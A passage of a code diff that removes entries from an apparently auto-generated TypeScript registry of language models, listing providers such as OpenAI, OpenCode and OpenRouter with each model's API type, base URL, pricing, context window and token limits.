"openai-responses", - provider: "openai", - baseUrl: "https://api.openai.com/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.25, - output: 10, - cacheRead: 0.125, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"openai-responses">, - "gpt-5.1-codex-max": { - id: "gpt-5.1-codex-max", - name: "GPT-5.1 Codex Max", - api: "openai-responses", - provider: "openai", - baseUrl: "https://api.openai.com/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.25, - output: 10, - cacheRead: 0.125, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"openai-responses">, - "gpt-5.1-codex-mini": { - id: "gpt-5.1-codex-mini", - name: "GPT-5.1 Codex mini", - api: "openai-responses", - provider: "openai", - baseUrl: "https://api.openai.com/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.25, - output: 2, - cacheRead: 0.025, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"openai-responses">, - "gpt-5.2": { - id: "gpt-5.2", - name: "GPT-5.2", - api: "openai-responses", - provider: "openai", - baseUrl: "https://api.openai.com/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.75, - output: 14, - cacheRead: 0.175, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"openai-responses">, - "gpt-5.2-chat-latest": { - id: "gpt-5.2-chat-latest", - name: "GPT-5.2 Chat", - api: "openai-responses", - provider: "openai", - baseUrl: "https://api.openai.com/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.75, - output: 14, - cacheRead: 0.175, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 16384, - } satisfies Model<"openai-responses">, - "gpt-5.2-codex": { - id: "gpt-5.2-codex", - name: "GPT-5.2 Codex", - api: "openai-responses", - provider: "openai", - baseUrl: "https://api.openai.com/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.75, - output: 14, - cacheRead: 0.175, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"openai-responses">, - "gpt-5.2-pro": { - id: "gpt-5.2-pro", - name: "GPT-5.2 Pro", - api: "openai-responses", - provider: "openai", - baseUrl: "https://api.openai.com/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 21, - output: 168, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"openai-responses">, - "gpt-5.3-chat-latest": { - id: "gpt-5.3-chat-latest", - name: "GPT-5.3 Chat (latest)", - api: "openai-responses", - provider: "openai", - baseUrl: "https://api.openai.com/v1", - reasoning: false, - input: ["text", "image"], - cost: { - input: 1.75, - output: 14, - cacheRead: 0.175, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 16384, - } satisfies Model<"openai-responses">, - "gpt-5.3-codex": { - id: "gpt-5.3-codex", - name: "GPT-5.3 Codex", - api: "openai-responses", - provider: "openai", - baseUrl: "https://api.openai.com/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.75, - output: 14, - cacheRead: 0.175, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"openai-responses">, - "gpt-5.3-codex-spark": { - id: "gpt-5.3-codex-spark", - name: "GPT-5.3 Codex Spark", - api: "openai-responses", - provider: "openai", - baseUrl: "https://api.openai.com/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.75, - output: 14, - cacheRead: 0.175, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 32000, - } satisfies Model<"openai-responses">, - "gpt-5.4": { - id: "gpt-5.4", - name: "GPT-5.4", - api: "openai-responses", - provider: "openai", - baseUrl: "https://api.openai.com/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 2.5, - output: 15, - cacheRead: 0.25, - cacheWrite: 0, - }, - contextWindow: 272000, - maxTokens: 128000, - } satisfies Model<"openai-responses">, - "gpt-5.4-mini": { - id: "gpt-5.4-mini", - name: "GPT-5.4 mini", - api: "openai-responses", - provider: "openai", - baseUrl: "https://api.openai.com/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.75, - output: 4.5, - cacheRead: 0.075, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"openai-responses">, - "gpt-5.5": { - id: "gpt-5.5", - name: "GPT-5.5", - api: "openai-responses", - provider: "openai", - baseUrl: "https://api.openai.com/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 5, - output: 30, - cacheRead: 0.5, - cacheWrite: 0, - }, - contextWindow: 1000000, - maxTokens: 128000, - } satisfies Model<"openai-responses">, - "gpt-5.4-nano": { - id: "gpt-5.4-nano", - name: "GPT-5.4 nano", - api: "openai-responses", - provider: "openai", - baseUrl: "https://api.openai.com/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.2, - output: 1.25, - cacheRead: 0.02, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"openai-responses">, - "gpt-5.4-pro": { - id: "gpt-5.4-pro", - name: "GPT-5.4 Pro", - api: "openai-responses", - provider: "openai", - baseUrl: "https://api.openai.com/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 30, - output: 180, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 1050000, - maxTokens: 128000, - } satisfies Model<"openai-responses">, - o1: { - id: "o1", - name: "o1", - api: "openai-responses", - provider: "openai", - baseUrl: "https://api.openai.com/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 15, - output: 60, - cacheRead: 7.5, - cacheWrite: 0, - }, - contextWindow: 200000, - maxTokens: 100000, - } satisfies Model<"openai-responses">, - "o1-pro": { - id: "o1-pro", - name: "o1-pro", - api: "openai-responses", - provider: "openai", - baseUrl: "https://api.openai.com/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 150, - output: 600, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 200000, - maxTokens: 100000, - } satisfies Model<"openai-responses">, - o3: { - id: "o3", - name: "o3", - api: "openai-responses", - provider: "openai", - baseUrl: "https://api.openai.com/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 2, - output: 8, - cacheRead: 0.5, - cacheWrite: 0, - }, - contextWindow: 200000, - maxTokens: 100000, - } satisfies Model<"openai-responses">, - "o3-deep-research": { - id: "o3-deep-research", - name: "o3-deep-research", - api: "openai-responses", - provider: "openai", - baseUrl: "https://api.openai.com/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 10, - output: 40, - cacheRead: 2.5, - cacheWrite: 0, - }, - contextWindow: 200000, - maxTokens: 100000, - } satisfies Model<"openai-responses">, - "o3-mini": { - id: "o3-mini", - name: "o3-mini", - api: "openai-responses", - provider: "openai", - baseUrl: "https://api.openai.com/v1", - reasoning: true, - input: ["text"], - cost: { - input: 1.1, - output: 4.4, - cacheRead: 0.55, - cacheWrite: 0, - }, - contextWindow: 200000, - maxTokens: 100000, - } satisfies Model<"openai-responses">, - "o3-pro": { - id: "o3-pro", - name: "o3-pro", - api: "openai-responses", - provider: "openai", - baseUrl: "https://api.openai.com/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 20, - output: 80, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 200000, - maxTokens: 100000, - } satisfies Model<"openai-responses">, - "o4-mini": { - id: "o4-mini", - name: "o4-mini", - api: "openai-responses", - provider: "openai", - baseUrl: "https://api.openai.com/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.1, - output: 4.4, - cacheRead: 0.28, - cacheWrite: 0, - }, - contextWindow: 200000, - maxTokens: 100000, - } satisfies Model<"openai-responses">, - "o4-mini-deep-research": { - id: "o4-mini-deep-research", - name: "o4-mini-deep-research", - api: "openai-responses", - provider: "openai", - baseUrl: "https://api.openai.com/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 2, - output: 8, - cacheRead: 0.5, - cacheWrite: 0, - }, - contextWindow: 200000, - maxTokens: 100000, - } satisfies Model<"openai-responses">, - }, - "openai-codex": { - "gpt-5.3-codex": { - id: "gpt-5.3-codex", - name: "GPT-5.3 Codex", - api: "openai-codex-responses", - provider: "openai-codex", - baseUrl: "https://chatgpt.com/backend-api", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.75, - output: 14, - cacheRead: 0.175, - cacheWrite: 0, - }, - contextWindow: 272000, - maxTokens: 128000, - } satisfies Model<"openai-codex-responses">, - "gpt-5.3-codex-spark": { - id: "gpt-5.3-codex-spark", - name: "GPT-5.3 Codex Spark", - api: "openai-codex-responses", - provider: "openai-codex", - baseUrl: "https://chatgpt.com/backend-api", - reasoning: true, - input: ["text"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 128000, - } satisfies Model<"openai-codex-responses">, - "gpt-5.4": { - id: "gpt-5.4", - name: "GPT-5.4", - api: "openai-codex-responses", - provider: "openai-codex", - baseUrl: "https://chatgpt.com/backend-api", - reasoning: true, - input: ["text", "image"], - cost: { - input: 2.5, - output: 15, - cacheRead: 0.25, - cacheWrite: 0, - }, - contextWindow: 272000, - maxTokens: 128000, - } satisfies Model<"openai-codex-responses">, - "gpt-5.5": { - id: "gpt-5.5", - name: "GPT-5.5", - api: "openai-codex-responses", - provider: "openai-codex", - baseUrl: "https://chatgpt.com/backend-api", - reasoning: true, - input: ["text", "image"], - cost: { - input: 5, - output: 30, - cacheRead: 0.5, - cacheWrite: 0, - }, - contextWindow: 272000, - maxTokens: 128000, - } satisfies Model<"openai-codex-responses">, - }, - opencode: { - "big-pickle": { - id: "big-pickle", - name: "Big Pickle", - api: "anthropic-messages", - provider: "opencode", - baseUrl: "https://opencode.ai/zen", - reasoning: true, - input: ["text"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 200000, - maxTokens: 128000, - } satisfies Model<"anthropic-messages">, - "claude-3-5-haiku": { - id: "claude-3-5-haiku", - name: "Claude Haiku 3.5", - api: "anthropic-messages", - provider: "opencode", - baseUrl: "https://opencode.ai/zen", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.8, - output: 4, - cacheRead: 0.08, - cacheWrite: 1, - }, - contextWindow: 200000, - maxTokens: 8192, - } satisfies Model<"anthropic-messages">, - "claude-haiku-4-5": { - id: "claude-haiku-4-5", - name: "Claude Haiku 4.5", - api: "anthropic-messages", - provider: "opencode", - baseUrl: "https://opencode.ai/zen", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1, - output: 5, - cacheRead: 0.1, - cacheWrite: 1.25, - }, - contextWindow: 200000, - maxTokens: 64000, - } satisfies Model<"anthropic-messages">, - "claude-opus-4-1": { - id: "claude-opus-4-1", - name: "Claude Opus 4.1", - api: "anthropic-messages", - provider: "opencode", - baseUrl: "https://opencode.ai/zen", - reasoning: true, - input: ["text", "image"], - cost: { - input: 15, - output: 75, - cacheRead: 1.5, - cacheWrite: 18.75, - }, - contextWindow: 200000, - maxTokens: 32000, - } satisfies Model<"anthropic-messages">, - "claude-opus-4-5": { - id: "claude-opus-4-5", - name: "Claude Opus 4.5", - api: "anthropic-messages", - provider: "opencode", - baseUrl: "https://opencode.ai/zen", - reasoning: true, - input: ["text", "image"], - cost: { - input: 5, - output: 25, - cacheRead: 0.5, - cacheWrite: 6.25, - }, - contextWindow: 200000, - maxTokens: 64000, - } satisfies Model<"anthropic-messages">, - "claude-opus-4-6": { - id: "claude-opus-4-6", - name: "Claude Opus 4.6", - api: "anthropic-messages", - provider: "opencode", - baseUrl: "https://opencode.ai/zen", - reasoning: true, - input: ["text", "image"], - cost: { - input: 5, - output: 25, - cacheRead: 0.5, - cacheWrite: 6.25, - }, - contextWindow: 1000000, - maxTokens: 128000, - } satisfies Model<"anthropic-messages">, - "claude-opus-4-7": { - id: "claude-opus-4-7", - name: "Claude Opus 4.7", - api: "anthropic-messages", - provider: "opencode", - baseUrl: "https://opencode.ai/zen", - reasoning: true, - input: ["text", "image"], - cost: { - input: 5, - output: 25, - cacheRead: 0.5, - cacheWrite: 6.25, - }, - contextWindow: 1000000, - maxTokens: 128000, - } satisfies Model<"anthropic-messages">, - "claude-sonnet-4": { - id: "claude-sonnet-4", - name: "Claude Sonnet 4", - api: "anthropic-messages", - provider: "opencode", - baseUrl: "https://opencode.ai/zen", - reasoning: true, - input: ["text", "image"], - cost: { - input: 3, - output: 15, - cacheRead: 0.3, - cacheWrite: 3.75, - }, - contextWindow: 200000, - maxTokens: 64000, - } satisfies Model<"anthropic-messages">, - "claude-sonnet-4-5": { - id: "claude-sonnet-4-5", - name: "Claude Sonnet 4.5", - api: "anthropic-messages", - provider: "opencode", - baseUrl: "https://opencode.ai/zen", - reasoning: true, - input: ["text", "image"], - cost: { - input: 3, - output: 15, - cacheRead: 0.3, - cacheWrite: 3.75, - }, - contextWindow: 200000, - maxTokens: 64000, - } satisfies Model<"anthropic-messages">, - "claude-sonnet-4-6": { - id: "claude-sonnet-4-6", - name: "Claude Sonnet 4.6", - api: "anthropic-messages", - provider: "opencode", - baseUrl: "https://opencode.ai/zen", - reasoning: true, - input: ["text", "image"], - cost: { - input: 3, - output: 15, - cacheRead: 0.3, - cacheWrite: 3.75, - }, - contextWindow: 1000000, - maxTokens: 64000, - } satisfies Model<"anthropic-messages">, - "gemini-3-flash": { - id: "gemini-3-flash", - name: "Gemini 3 Flash", - api: "google-generative-ai", - provider: "opencode", - baseUrl: "https://opencode.ai/zen/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.5, - output: 3, - cacheRead: 0.05, - cacheWrite: 0, - }, - contextWindow: 1048576, - maxTokens: 65536, - } satisfies Model<"google-generative-ai">, - "gemini-3.1-pro": { - id: "gemini-3.1-pro", - name: "Gemini 3.1 Pro Preview", - api: "google-generative-ai", - provider: "opencode", - baseUrl: "https://opencode.ai/zen/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 2, - output: 12, - cacheRead: 0.2, - cacheWrite: 0, - }, - contextWindow: 1048576, - maxTokens: 65536, - } satisfies Model<"google-generative-ai">, - "glm-5": { - id: "glm-5", - name: "GLM-5", - api: "openai-completions", - provider: "opencode", - baseUrl: "https://opencode.ai/zen/v1", - reasoning: true, - input: ["text"], - cost: { - input: 1, - output: 3.2, - cacheRead: 0.2, - cacheWrite: 0, - }, - contextWindow: 204800, - maxTokens: 131072, - } satisfies Model<"openai-completions">, - "glm-5.1": { - id: "glm-5.1", - name: "GLM-5.1", - api: "openai-completions", - provider: "opencode", - baseUrl: "https://opencode.ai/zen/v1", - reasoning: true, - input: ["text"], - cost: { - input: 1.4, - output: 4.4, - cacheRead: 0.26, - cacheWrite: 0, - }, - contextWindow: 204800, - maxTokens: 131072, - } satisfies Model<"openai-completions">, - "gpt-5": { - id: "gpt-5", - name: "GPT-5", - api: "openai-responses", - provider: "opencode", - baseUrl: "https://opencode.ai/zen/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.07, - output: 8.5, - cacheRead: 0.107, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"openai-responses">, - "gpt-5-codex": { - id: "gpt-5-codex", - name: "GPT-5 Codex", - api: "openai-responses", - provider: "opencode", - baseUrl: "https://opencode.ai/zen/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.07, - output: 8.5, - cacheRead: 0.107, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"openai-responses">, - "gpt-5-nano": { - id: "gpt-5-nano", - name: "GPT-5 Nano", - api: "openai-responses", - provider: "opencode", - baseUrl: "https://opencode.ai/zen/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"openai-responses">, - "gpt-5.1": { - id: "gpt-5.1", - name: "GPT-5.1", - api: "openai-responses", - provider: "opencode", - baseUrl: "https://opencode.ai/zen/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.07, - output: 8.5, - cacheRead: 0.107, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"openai-responses">, - "gpt-5.1-codex": { - id: "gpt-5.1-codex", - name: "GPT-5.1 Codex", - api: "openai-responses", - provider: "opencode", - baseUrl: "https://opencode.ai/zen/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.07, - output: 8.5, - cacheRead: 0.107, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"openai-responses">, - "gpt-5.1-codex-max": { - id: "gpt-5.1-codex-max", - name: "GPT-5.1 Codex Max", - api: "openai-responses", - provider: "opencode", - baseUrl: "https://opencode.ai/zen/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.25, - output: 10, - cacheRead: 0.125, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"openai-responses">, - "gpt-5.1-codex-mini": { - id: "gpt-5.1-codex-mini", - name: "GPT-5.1 Codex Mini", - api: "openai-responses", - provider: "opencode", - baseUrl: "https://opencode.ai/zen/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.25, - output: 2, - cacheRead: 0.025, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"openai-responses">, - "gpt-5.2": { - id: "gpt-5.2", - name: "GPT-5.2", - api: "openai-responses", - provider: "opencode", - baseUrl: "https://opencode.ai/zen/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.75, - output: 14, - cacheRead: 0.175, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"openai-responses">, - "gpt-5.2-codex": { - id: "gpt-5.2-codex", - name: "GPT-5.2 Codex", - api: "openai-responses", - provider: "opencode", - baseUrl: "https://opencode.ai/zen/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.75, - output: 14, - cacheRead: 0.175, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"openai-responses">, - "gpt-5.3-codex": { - id: "gpt-5.3-codex", - name: "GPT-5.3 Codex", - api: "openai-responses", - provider: "opencode", - baseUrl: "https://opencode.ai/zen/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 1.75, - output: 14, - cacheRead: 0.175, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"openai-responses">, - "gpt-5.4": { - id: "gpt-5.4", - name: "GPT-5.4", - api: "openai-responses", - provider: "opencode", - baseUrl: "https://opencode.ai/zen/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 2.5, - output: 15, - cacheRead: 0.25, - cacheWrite: 0, - }, - contextWindow: 272000, - maxTokens: 128000, - } satisfies Model<"openai-responses">, - "gpt-5.4-mini": { - id: "gpt-5.4-mini", - name: "GPT-5.4 Mini", - api: "openai-responses", - provider: "opencode", - baseUrl: "https://opencode.ai/zen/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.75, - output: 4.5, - cacheRead: 0.075, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"openai-responses">, - "gpt-5.4-nano": { - id: "gpt-5.4-nano", - name: "GPT-5.4 Nano", - api: "openai-responses", - provider: "opencode", - baseUrl: "https://opencode.ai/zen/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.2, - output: 1.25, - cacheRead: 0.02, - cacheWrite: 0, - }, - contextWindow: 400000, - maxTokens: 128000, - } satisfies Model<"openai-responses">, - "gpt-5.4-pro": { - id: "gpt-5.4-pro", - name: "GPT-5.4 Pro", - api: "openai-responses", - provider: "opencode", - baseUrl: "https://opencode.ai/zen/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 30, - output: 180, - cacheRead: 30, - cacheWrite: 0, - }, - contextWindow: 1050000, - maxTokens: 128000, - } satisfies Model<"openai-responses">, - "kimi-k2.5": { - id: "kimi-k2.5", - name: "Kimi K2.5", - api: "openai-completions", - provider: "opencode", - baseUrl: "https://opencode.ai/zen/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.6, - output: 3, - cacheRead: 0.08, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 65536, - } satisfies Model<"openai-completions">, - "minimax-m2.5": { - id: "minimax-m2.5", - name: "MiniMax M2.5", - api: "openai-completions", - provider: "opencode", - baseUrl: "https://opencode.ai/zen/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.3, - output: 1.2, - cacheRead: 0.06, - cacheWrite: 0, - }, - contextWindow: 204800, - maxTokens: 131072, - } satisfies Model<"openai-completions">, - "minimax-m2.5-free": { - id: "minimax-m2.5-free", - name: "MiniMax M2.5 Free", - api: "anthropic-messages", - provider: "opencode", - baseUrl: "https://opencode.ai/zen", - reasoning: true, - input: ["text"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 204800, - maxTokens: 131072, - } satisfies Model<"anthropic-messages">, - "nemotron-3-super-free": { - id: "nemotron-3-super-free", - name: "Nemotron 3 Super Free", - api: "openai-completions", - provider: "opencode", - baseUrl: "https://opencode.ai/zen/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 204800, - maxTokens: 128000, - } satisfies Model<"openai-completions">, - "qwen3.5-plus": { - id: "qwen3.5-plus", - name: "Qwen3.5 Plus", - api: "openai-completions", - provider: "opencode", - baseUrl: "https://opencode.ai/zen/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.2, - output: 1.2, - cacheRead: 0.02, - cacheWrite: 0.25, - }, - contextWindow: 262144, - maxTokens: 65536, - } satisfies Model<"openai-completions">, - "qwen3.6-plus": { - id: "qwen3.6-plus", - name: "Qwen3.6 Plus", - api: "openai-completions", - provider: "opencode", - baseUrl: "https://opencode.ai/zen/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.5, - output: 3, - cacheRead: 0.05, - cacheWrite: 0.625, - }, - contextWindow: 262144, - maxTokens: 65536, - } satisfies Model<"openai-completions">, - }, - "opencode-go": { - "glm-5": { - id: "glm-5", - name: "GLM-5", - api: "openai-completions", - provider: "opencode-go", - baseUrl: "https://opencode.ai/zen/go/v1", - reasoning: true, - input: ["text"], - cost: { - input: 1, - output: 3.2, - cacheRead: 0.2, - cacheWrite: 0, - }, - contextWindow: 204800, - maxTokens: 131072, - } satisfies Model<"openai-completions">, - "glm-5.1": { - id: "glm-5.1", - name: "GLM-5.1", - api: "openai-completions", - provider: "opencode-go", - baseUrl: "https://opencode.ai/zen/go/v1", - reasoning: true, - input: ["text"], - cost: { - input: 1.4, - output: 4.4, - cacheRead: 0.26, - cacheWrite: 0, - }, - contextWindow: 204800, - maxTokens: 131072, - } satisfies Model<"openai-completions">, - "kimi-k2.5": { - id: "kimi-k2.5", - name: "Kimi K2.5", - api: "openai-completions", - provider: "opencode-go", - baseUrl: "https://opencode.ai/zen/go/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.6, - output: 3, - cacheRead: 0.1, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 65536, - } satisfies Model<"openai-completions">, - "mimo-v2-omni": { - id: "mimo-v2-omni", - name: "MiMo V2 Omni", - api: "openai-completions", - provider: "opencode-go", - baseUrl: "https://opencode.ai/zen/go/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.4, - output: 2, - cacheRead: 0.08, - cacheWrite: 0, - }, - contextWindow: 262144, - maxTokens: 64000, - } satisfies Model<"openai-completions">, - "mimo-v2-pro": { - id: "mimo-v2-pro", - name: "MiMo V2 Pro", - api: "openai-completions", - provider: "opencode-go", - baseUrl: "https://opencode.ai/zen/go/v1", - reasoning: true, - input: ["text"], - cost: { - input: 1, - output: 3, - cacheRead: 0.2, - cacheWrite: 0, - }, - contextWindow: 1048576, - maxTokens: 64000, - } satisfies Model<"openai-completions">, - "minimax-m2.5": { - id: "minimax-m2.5", - name: "MiniMax M2.5", - api: "openai-completions", - provider: "opencode-go", - baseUrl: "https://opencode.ai/zen/go/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.3, - output: 1.2, - cacheRead: 0.03, - cacheWrite: 0, - }, - contextWindow: 204800, - maxTokens: 65536, - } satisfies Model<"openai-completions">, - "minimax-m2.7": { - id: "minimax-m2.7", - name: "MiniMax M2.7", - api: "anthropic-messages", - provider: "opencode-go", - baseUrl: "https://opencode.ai/zen/go", - reasoning: true, - input: ["text"], - cost: { - input: 0.3, - output: 1.2, - cacheRead: 0.06, - cacheWrite: 0, - }, - contextWindow: 204800, - maxTokens: 131072, - } satisfies Model<"anthropic-messages">, - "qwen3.5-plus": { - id: "qwen3.5-plus", - name: "Qwen3.5 Plus", - api: "openai-completions", - provider: "opencode-go", - baseUrl: "https://opencode.ai/zen/go/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.2, - output: 1.2, - cacheRead: 0.02, - cacheWrite: 0.25, - }, - contextWindow: 262144, - maxTokens: 65536, - } satisfies Model<"openai-completions">, - "qwen3.6-plus": { - id: "qwen3.6-plus", - name: "Qwen3.6 Plus", - api: "openai-completions", - provider: "opencode-go", - baseUrl: "https://opencode.ai/zen/go/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.5, - output: 3, - cacheRead: 0.05, - cacheWrite: 0.625, - }, - contextWindow: 262144, - maxTokens: 65536, - } satisfies Model<"openai-completions">, - }, - openrouter: { - "ai21/jamba-large-1.7": { - id: "ai21/jamba-large-1.7", - name: "AI21: Jamba Large 1.7", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 2, - output: 8, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 256000, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "alibaba/tongyi-deepresearch-30b-a3b": { - id: "alibaba/tongyi-deepresearch-30b-a3b", - name: "Tongyi DeepResearch 30B A3B", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text"], - cost: { - input: 0.09, - output: 0.44999999999999996, - cacheRead: 0.09, - cacheWrite: 0, - }, - contextWindow: 131072, - maxTokens: 131072, - } satisfies Model<"openai-completions">, - "allenai/olmo-3.1-32b-instruct": { - id: "allenai/olmo-3.1-32b-instruct", - name: "AllenAI: Olmo 3.1 32B Instruct", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 0.19999999999999998, - output: 0.6, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 65536, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "amazon/nova-2-lite-v1": { - id: "amazon/nova-2-lite-v1", - name: "Amazon: Nova 2 Lite", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: true, - input: ["text", "image"], - cost: { - input: 0.3, - output: 2.5, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 1000000, - maxTokens: 65535, - } satisfies Model<"openai-completions">, - "amazon/nova-lite-v1": { - id: "amazon/nova-lite-v1", - name: "Amazon: Nova Lite 1.0", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.06, - output: 0.24, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 300000, - maxTokens: 5120, - } satisfies Model<"openai-completions">, - "amazon/nova-micro-v1": { - id: "amazon/nova-micro-v1", - name: "Amazon: Nova Micro 1.0", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text"], - cost: { - input: 0.035, - output: 0.14, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 128000, - maxTokens: 5120, - } satisfies Model<"openai-completions">, - "amazon/nova-premier-v1": { - id: "amazon/nova-premier-v1", - name: "Amazon: Nova Premier 1.0", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text", "image"], - cost: { - input: 2.5, - output: 12.5, - cacheRead: 0.625, - cacheWrite: 0, - }, - contextWindow: 1000000, - maxTokens: 32000, - } satisfies Model<"openai-completions">, - "amazon/nova-pro-v1": { - id: "amazon/nova-pro-v1", - name: "Amazon: Nova Pro 1.0", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.7999999999999999, - output: 3.1999999999999997, - cacheRead: 0, - cacheWrite: 0, - }, - contextWindow: 300000, - maxTokens: 5120, - } satisfies Model<"openai-completions">, - "anthropic/claude-3-haiku": { - id: "anthropic/claude-3-haiku", - name: "Anthropic: Claude 3 Haiku", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.25, - output: 1.25, - cacheRead: 0.03, - cacheWrite: 0.3, - }, - contextWindow: 200000, - maxTokens: 4096, - } satisfies Model<"openai-completions">, - "anthropic/claude-3.5-haiku": { - id: "anthropic/claude-3.5-haiku", - name: "Anthropic: Claude 3.5 Haiku", - api: "openai-completions", - provider: "openrouter", - baseUrl: "https://openrouter.ai/api/v1", - reasoning: false, - input: ["text", "image"], - cost: { - input: 0.7999999999999999, - output: 4, - cacheRead: 0.08, - cacheWrite: 1, - }, - contextWindow: 200000, - maxTokens: 8192, - } satisfies 